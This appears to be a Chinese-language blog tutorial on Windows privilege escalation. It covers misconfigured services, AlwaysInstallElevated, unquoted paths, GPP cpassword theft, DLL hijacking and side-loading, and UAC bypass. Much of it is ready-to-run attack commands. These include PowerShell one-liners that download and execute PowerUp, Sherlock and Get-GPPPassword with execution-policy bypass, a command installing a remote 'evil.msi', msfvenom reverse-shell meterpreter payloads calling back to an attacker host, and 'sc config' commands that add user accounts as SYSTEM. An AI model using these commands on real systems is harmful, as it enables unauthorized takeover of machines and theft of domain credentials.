Windows權限提升


提權基礎命令

# 查詢系統信息和補丁信息
systeminfo 
wmic qfe get Description,HotFixID,InstalledOn

# 如果要查看特定的信息,可以使用
systeminfo | findstr /B /C:"OS"

# 查詢權限
whoami /all

# 查看當前安裝程序
wmic product get name,version

系統內核溢出提權

此提權方法即是通過系統本身存在的一些漏洞,未曾打相應的補丁而暴露出來的提權方法,依托可以提升權限的 EXP 和它們的補丁編號,進行提升權限。

在線補丁查找

https://github.com/neargle/win-powerup-exp-index
http://blog.neargle.com/win-powerup-exp-index/
https://github.com/ianxtianxt/win-exp-
https://detect.secwx.com/

msf查找

# 第二個會直接給出exp利用模塊,第一個只是說補丁
run post/windows/gather/enum_patches
run post/multi/recon/local_exploit_suggester

powershell查找

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1');Find-AllVulns;
powershell.exe -exec bypass -nop -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1');Find-AllVulns"
Import-Module Sherlock.ps1;Find-AllVulns;

配置不當造成的提權

Windows 系統服務文件在操作系統啟動時加載並執行,並調用可執行文件。因此,如果一個低權限用戶對這些調用的可執行文件擁有可寫權限,就可以將該文件替換成任意可執行文件,並隨着系統服務的啟動獲得系統權限,但一般情況下,Windows 是以 System 權限執行的,因此,其文件夾、文件和注冊表鍵值都是受到強訪問控制機制保護的,但在某些情況下仍有些服務沒有得到有效保護。

系統服務權限配置錯誤

accesschk實戰

下載地址:https://download.sysinternals.com/files/SysinternalsSuite.zip

  • 用 accesschk.exe 工具查看當前用戶可修改的服務:

accesschk.exe -uwcqv "XXX" * /accepteula > 1.txt //XXX為當前用戶名
如果出現 SERVICE_ALL_ACCESS 則表示當前用戶擁有修改該服務的權限
image.png
查看它啟動時候的權限
sc qc wudfsvc
image.png
然后修改我們執行文件路徑為我們想要的代碼

# 注意這里的"="后面要留有空格
sc config wudfsvc binPath= "net user test1 abc123! /add"  

# 查看查詢該服務的執行路徑是否修改成功
sc qc wudfsvc  

image.png
重啟服務

sc stop wudfsvc
sc start wudfsvc

但是有殺軟 這個問題就下篇解決
image.png
但要注意這里啟動時會報錯,因為當一個服務在 Windows 系統中啟動后,它必須和服務控制管理器通信。如果沒有通信,服務控制管理器會認為出現了錯誤,並會終止這個進程。但是我們的命令已經以 SYSTEM 權限運行了,並且成功添加了一個用戶。
image.png
還有個tips就是可以利用icacls 確定權限

icacls "C:\Program Files"

「M」表示修改、「F」表示完全控制
「CI」代表從屬容器將繼承訪問控制項
「OI」代表從屬文件將繼承訪問控制項

PowerUp實戰

powershell.exe -exec bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
powershell.exe -exec bypass -Command "& {Import-Module D:/PowerUp.ps1; Invoke-AllChecks}" > 1.txt

然后回列出很多可能存在的問題,比上面accesschk工具豐富。
image.png

  • ServiceName:可能存在漏洞的服務
  • Path:該服務的可執行程序的路徑
  • StartName:服務運行賬號
  • AbuseFunction:利用方式

這里就用AbuseFunction為例中的利用腳本,以MozillaMaintenace為例。添加一個test2用戶
然后必須重啟該服務才可以生效。

//添加賬號
powershell.exe -exec bypass -Command "& {Import-Module ./PowerUp.ps1; Install-ServiceBinary -ServiceName 'MozillaMaintenance' -Username test2 -Password 123456}"
//自定義命令 把上面-Usernmae換成下面這個
-Command "net ..."

image.png
其他用法請參考:https://evi1cg.me/archives/Powerup.html

metasploit實戰

use exploit/windows/local/service_permissions
set AGGRESSIVE true
set session 1
exploit

注冊表鍵AlwayInstaIIElevated配置不當

注冊表鍵 AlwaysInstallElevated 是一個策略設置項,Window 允許低權限用戶以 System 權限運行 MSI 安裝文件,如果啟用此策略設置項,那么任何權限的用戶都能以NT AUTHORITY\SYSTEM 權限來運行惡意的 MSI 文件

查詢

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

未啟用 AlwaysInstallElevated 策略,返回結果為:「找不到指定的注冊表項或值」

開啟

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

PowerUp實戰

這里以添加用戶為例子,如果自定義命令請查看手冊或者https://evi1cg.me/archives/Powerup.html

powershell.exe -exec bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Get-RegAlwaysInstallElevated;"

如果返回true就說明設置錯誤。然后我們執行Write-UserAddMSI
本地執行:msiexec /q /i C:\msi.msi

  • /i 參數用來表示安裝操作
  • /q 參數用來隱藏安裝界面

並且 MSIEXEC 也可以實現無落地文件的方式進行木馬上線的方式,當然低權限用不了,因為 msi 文件需要可信的證書才能遠程利用 AlwaysInstallElevated 提權:msiexec /q /i [http://ip/evil.msi](http://ip/evil.msi)
image.png
不知道什么原因我還是會出現GUI[狗頭] 點擊一下才會創建。

metasploit實戰

獲得一個Session后使用use exploit/windows/local/always_install_elevated會自動返回System權限的meterpreter,該模塊會創建一個文件名隨機的MSI文件,並提權后刪除部署的文件。

未使用雙引號的服務路徑

實用度較差,原理:
可信任服務路徑漏洞利用了 Windows 文件路徑解析的特性,如果一個服務調用的可執行文件沒有正確地處理所引用的完整路徑名,同時攻擊者該文件路徑有可寫權限,攻擊者就可以上傳文件來劫持路徑名,例如這個程序

C:\Program Files\floder1\service.exe

因為空格的存在,Windows在啟動服務找尋服務啟動項時,它會按照以下順序進行啟動項尋找

C:\Program.exe 
C:\Program Files\Some.exe 
C:\Program Files\Some Folder\Service.exe

此時如果我們對 C:\路徑或者 C:\Program Files 有可寫的權限,就可以上傳 Program.exe 或 Some.exe 程序到相應目錄下,當服務重新啟動時,就會以 System 權限執行我們上傳的惡意程序。
我們用一下命令搜索那些服務沒有包含引號

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

利用條件還得某一個文件夾有寫入權限。使用icacls 工具檢測。然后目錄下放入木馬,然后重啟該服務或者等待管理員重啟服務器。上線就是高權限,還有就是如果一個服務啟動后在一定時間內未與 Service Control Manager(SCM) 通訊,就會被停止,所以拿到shell之后必須轉移我們的進程。

計划任務

如果攻擊者對以高權限運行的計划任務所在目錄具有所寫權限,就可以使用惡意程序覆蓋原來的程序,這樣,在計划任務下次執行時就會以高權限來運行惡意程序。

cmd:
schtasks /query /fo list /v
powershell:
Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}} 

如果攻擊者對某個高權限的計划任務所在的路徑有可寫權限,可使用惡意程序覆蓋原來的程序,當計划任務下次執行時,就會以高權限運行惡意程序。

自動安裝配置文件

網絡管理員在內網配置多個同環境時候。使用腳本配置,會使用安裝配置文件,一些 安裝文件中含有用戶的明文或 base64 編碼后的密文

dir /s *sysprep.inf *sysprep.xml *unattend.xml *unattend.txt 2>nul

常見位置:

  • C:\sysprep.inf
  • C:\sysprep\sysprep.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml
  • C:\Windows\Panther\Unattend\Unattended.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windos\System32\sysprep\unattend.xml
  • C:\Windows\System32\Sysprep\Panther\unattend.xml

組策略首選項提權

看這個文章吧策略組提權.html
SYSVOL 是活動目錄里的一個用於存儲域公共文件服務器副本的共享文件夾,在域中的所有域控之間進行復制,SYSVOL 在所有經過身份驗證的域用戶或者域信任用戶具有讀權限的活動目錄域范圍內共享,所有的域策略均存放在 C:\Windows\SYSVOL\DOMAIN\Policies\ 目錄中。
管理員在域中新建一個組策略后,系統會自動在 SYSVOL 目錄中生成一個 XML 文件。
該文件中保存了該組策略更新后的密碼,該密碼使用 AES-256 算法,但 2012 年微軟公布了該密碼的私鑰,也就是說任何人都可以對其進行解密。

查找包含cpassword的xml

手動查找或者cmd查找

findstr /s /i "cpassword" C:\Windows\SYSVOL\*.xml

powershell腳本

PowerSploit 項目中提供了 Get-GPPPassword.ps1 腳本。
腳本下載地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

直接遠程下載腳本執行:

PowerShell.exe -Exec Bypass -C "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"
//受限用繞過
powershell.exe -exec bypass -command "&{Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword}"

這里安利一個https://ghproxy.com/加速的站點

MSF獲取cpassword

MSF中 post/windows/gather/credentials/gpp 模塊可以獲取組策略中的密碼。注意,我們只需要獲取域內任何一台以域用戶權限登錄的機器的權限即可。

use post/windows/gather/credentials/gpp
set session 1
run

解密cpassword 密文

Gpprefdecrypt.py 下載地址:https://raw.githubusercontent.com/leonteale/pentestpackage/master/Gpprefdecrypt.py

DLL劫持提權

動態鏈接庫DLL在Windows中很多應用程序不是一個完整的執行程序,他們被分為一些相對獨立的動態鏈接庫,放置系統中。當執行某一個程序的時候相應的DLL就會被調用,當然一個DLL也可以被多個程序調用。詳細原理:https://www.anquanke.com/post/id/225911

DLL加載順序

在 XP SP2 之后,添加了一個 SafeDllSearchMode 的注冊表屬性。注冊表路徑如下:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

當SafeDllSearchMode 的值設置為 1,即安全 DLL 搜索模式開啟時,查找 DLL 的目錄順序如下:

  • 1、應用程序加載的目錄
  • 2、C:\Windows\System32
  • 3、C:\Windows\System
  • 4、C:\Windows
  • 5、當前工作目錄Current Working Directory,CWD
  • 6、在PATH環境變量的目錄(先系統后用戶)

后面微軟又加強了一次,將一些容易劫持的DLL放進了注冊表,那么凡是此項下的 DLL 文件就會被禁止從 EXE 自身所在的目錄下調用,都會從SYSTEM32調用路徑。注冊表如下

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

DLL加載過程分析

Process Monitor 是 Windows 的高級監視工具,可顯示實時文件系統,注冊表和進程/線程活動。
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-utilities
Process Monitor Filter 是用於過濾應用程序輸出的一部分功能,可以使得進程事件結果成為你想要的內容。然后就可以看到他運行加載了那些dll文件,用火絨劍也是一樣的。左邊火絨劍,右邊Process Monitor
image.png
系統文件一般是更改不掉的,我們這里就選擇未知文文件就好了。

MSF實戰

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f dll > a.dll

然后去替換我們的DLL然后 kali監聽結果是失敗的。
image.png
於是我們就有了下面的方法

DLL Side-Loading(DLL Proxy Loading)

DLL Side-Loading 與 DLL 劫持非常相似。但是,它不會破壞原始程序的執行流程或功能。,將惡意程序隱藏在合法應用程序之后,同時也可以利用該方法維持權限。
流程圖
image.png

  • 啟動時,應用程序 A 需要使用名為 GetFunkyData() 的第三方函數來獲取數據,GetFunkyData() 存在於動態鏈接庫中,該動態鏈接庫位於應用程序的工作目錄中,名為 DataFunctions_Original.dll (B)。
  • 應用程序 A 以其名稱加載庫 DataFunctions.dll,以嘗試執行 GetFunkyData()。 該 DLL 實際上是攻擊者專門設計的“代理”庫,代理 DLL 使用將函數調用重定向到原始 DLL“ DataFunctions_Original.dll”(B)。
  • 此時,攻擊者已經劫持了執行流程(C),並且可以代表運行中的進程(E)執行代碼,而無需用戶或應用程序的了解。

利用過程

msf生成一個代碼

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.65 LPORT=4444 -f raw > shell.bin

然后下載項目地址:https://github.com/Flangvik/SharpDllProxy
直接VS編譯好
image.png
使用SharpDllProxy.dll生成一個假冒的ipdbhlp.dll。將shell.bin和需要被假冒的Dll放到上圖的文件中。執行如下命令:.\SharpDllProxy.exe --dll ipdbhlp.dll --payload shell.bin
然后生成文件包含了一個C文件和一個DLL文件,這個DLL就是原來的DLL文件
然后我們打開VS編譯上面的C文件。文件---》新建---》項目---》動態鏈接庫--》然后將C代碼復制過去編譯
image.png
到這里其實就可以這種騷操作來進行免殺了 也可以將shellcode寫進去就好了
然后生成好之后將下面三個文件拷貝過去
image.png
然后直接運行就OK,直接上線。
image.png

自動化工具監測

rattler

https://github.com/sensepost/rattler
實現思路:

  • 枚舉進程調用的 dll 列表,解析出 dll 的名稱
  • 將測試 dll 分別重命名為列表中的 dll 名稱
  • 再次啟動程序,檢測是否成功創建進程 calc.exe,如果成功,代表存在漏洞,否則不存在

管理員權限的 cmd 下運行命令:Rattler.exe [待檢測程序名稱] 1
個人測試了幾個可以成功的但是都是失敗了。。。

ChkDllHijack

1.下載地址:[https://github.com/anhkgg/anhkgg-tools]
2.使用windbg導出module
然后打開chkDllHijack,粘貼處要驗證的DLL內容,失敗就是下面這種
image.png

PowerUp監測

powershell.exe -exec bypass -Command "& {Import-Module ./PowerUp.ps1; Find-PathHijack}"

Bypass UAC

這里就簡單記錄一下用法吧,原理等后面再學習。

概念及其運行原理

Microsoft的Windows Vista和Windows Server 2008操作系統引入了一種良好的用戶帳戶控制架構,以防止系統范圍內的意外更改,這種更改是可以預見的,並且只需要很少的操作量。
換句話說,它是Windows的一個安全功能,它支持防止對操作系統進行未經授權的修改,UAC確保僅在管理員授權的情況下進行某些更改。如果管理員不允許更改,則不會執行這些更改,並且Windows系統保持不變。

運行:
UAC通過阻止程序執行任何涉及有關系統更改/特定任務的任務來運行。除非嘗試執行這些操作的進程以管理員權限運行,否則這些操作將無法運行。如果您以管理員身份運行程序,則它將具有更多權限,因為它將被“提升權限”,而不是以管理員身份運行的程序。
image.png
在開啟了UAC之后,如果用戶是標准用戶, Windows 會給用戶分配一個標准Access Token.
如果用戶以管理員權限登陸,會生成兩份訪問令牌,一份是完整的管理員訪問令牌(Full Access Token),一份是標准用戶令牌具體的表現形式是如下圖,當我們需要其他特權的時候,會彈出窗口,詢問你是否要允許以下程序對此計算機更改?如果你有完整的訪問令牌(即,你以設備管理員的身份登錄,或者你屬於管理員組),則可以選擇是,然后繼續進行。但是,如果已為你分配了標准的用戶訪問令牌,則會提示你輸入具有特權的管理員的憑據
image.png

UAC需要授權的情況

  • 1.配置Window Update
  • 2.增加或刪除用戶賬戶
  • 3.改變用戶的賬戶類型
  • 4.改變UAC設置
  • 5.安裝ActiveX
  • 6.安裝或移除程序
  • 8.設置家長控制
  • 9.將文件移動或復制到Prigram Files或Windwos目錄
  • 10.查看其他用戶文件夾

UACME

工具地址:https://github.com/hfiref0x/UACME,內含 70+ 種 BypassUAC 的方法
項目里包含了很多不同種類的方法,其中Dll Hijack 、Registry key manipulation、Elevated COM interface這三種方法是項目中出現的較多且好用的,對應23、33、41這三個方法號
clone 到本地后,用 VS2019 打開,選擇 uacme.vcxproj,以 Release|x64 去 build,然后 ctrl+b build 項
然后我們去WIN7下運行,發現成功BypassUAC
image.png

Nishang中的Invoke-PsUACme

他是powershell版本的該腳本的所使用的DLL來自於開源項目UACME。nishang作者對代碼進行了一下簡單地修改。腳本地址:https://github.com/samratashok/nishang/blob/master/Escalation/Invoke-PsUACme.ps1

Invoke-PsUACme -Verbose

image.png

MSF

Windows權限升級繞過UAC保護

此模塊將通過進程注入使用可信任發布者證書繞過Windows UAC。它將生成關閉UAC標志的第二個shell。

use exploit/windows/local/bypassuac

Windows權限提升繞過UAC保護(內存注入)

此模塊將通過進程注入使用可信任的發布者證書繞過Windows UAC。它將生成關閉UAC標志的第二個shell。在普通技術中,該模塊使用反射式DLL注入技術並只除去了DLL payload 二進制文件,而不是三個單獨的二進制文件。但是,它需要選擇正確的體系架構(對於SYSWOW64系統也使用x64)。如果指定exe::custom,應在單獨的進程中啟動 payload 后調用ExitProcess()。

use exploit/windows/local/bypassuac_injection

繞過Windows UAC保護(通過FodHelper注冊表項)

此模塊將通過在當前用戶配置單元下劫持注冊表中的特殊鍵並插入將在啟動Windows fodhelper.exe應用程序時調用的自定義命令來繞過Windows 10 UAC。它將生成關閉UAC標志的第二個shell。此模塊修改注冊表項,但在調用payload后將清除該項。該模塊不需要payload的體系架構和操作系統匹配。如果指定exe:custom,則應在單獨的進程中啟動payload后調用ExitProcess()。

use exploit/windows/local/bypassuac_fodhelper

Windows權限升級繞過UAC保護(通過Eventvwr注冊表項)

此模塊將通過在當前用戶配置單元下劫持注冊表中的特殊鍵並插入將在啟動Windows事件查看器時調用的自定義命令來繞過Windows UAC。它將生成關閉UAC標志的第二個shell。此模塊修改注冊表項,但在調用payload后將清除該項。該模塊不需要payload的體系架構和操作系統匹配。如果指定EXE ::Custom,則應在單獨的進程中啟動payload后調用ExitProcess()。

use exploit/windows/local/bypassuac_eventvwr

Windows權限升級繞過UAC保護(通過COM處理程序劫持)

此模塊將通過在hkcu配置單元中創建COM處理程序注冊表項來繞過Windows UAC。當加載某些較高完整性級別進程時,會引用這些注冊表項,從而導致進程加載用戶控制的DLL。這些DLL包含導致會話權限提升的payload。此模塊修改注冊表項,但在調用payload后將清除該項。這個模塊需要payload的體系架構和操作系統匹配,但是當前的低權限meterpreter會話體系架構中可能不同。如果指定exe::custom,則應在單獨的進程中啟動payloa后調用ExitProcess()。此模塊通過目標上的cmd.exe調用目標二進制文件。因此,如果cmd.exe訪問受到限制,此模塊將無法正常運行。

 use exploit/windows/local/bypassuac_comhijack

土豆家族

見下一篇學習
https://www.geekby.site/2020/08/potato%E5%AE%B6%E6%97%8F%E6%8F%90%E6%9D%83%E5%88%86%E6%9E%90/

無憑證條件下的權限提升

待學習:Responder.py:https://github.com/SpiderLabs/Responder.git

參考

https://www.cnblogs.com/charon1937/p/13713122.html
https://blog.csdn.net/weixin_44032232/article/details/114366001
https://www.anquanke.com/post/id/225911#h2-0
https://segmentfault.com/a/1190000040565520?sort=newest#item-3
https://mp.weixin.qq.com/s/GzYWhDhUO26DjYGxLw4sMA
https://www.geekby.site/2021/01/windows%E6%8F%90%E6%9D%83%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/#1-%E5%89%8D%E8%A8%80
https://www.freebuf.com/articles/web/281863.html
https://bbs.pediy.com/thread-259636.htm
UAC
https://www.freebuf.com/articles/web/288239.html
https://bbs.pediy.com/thread-266375.htm
https://www.anquanke.com/post/id/216808
https://pingmaoer.github.io/2020/07/09/BypassUAC%E6%96%B9%E6%B3%95%E8%AE%BA%E5%AD%A6%E4%B9%A0/
https://www.cnblogs.com/backlion/p/10552137.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM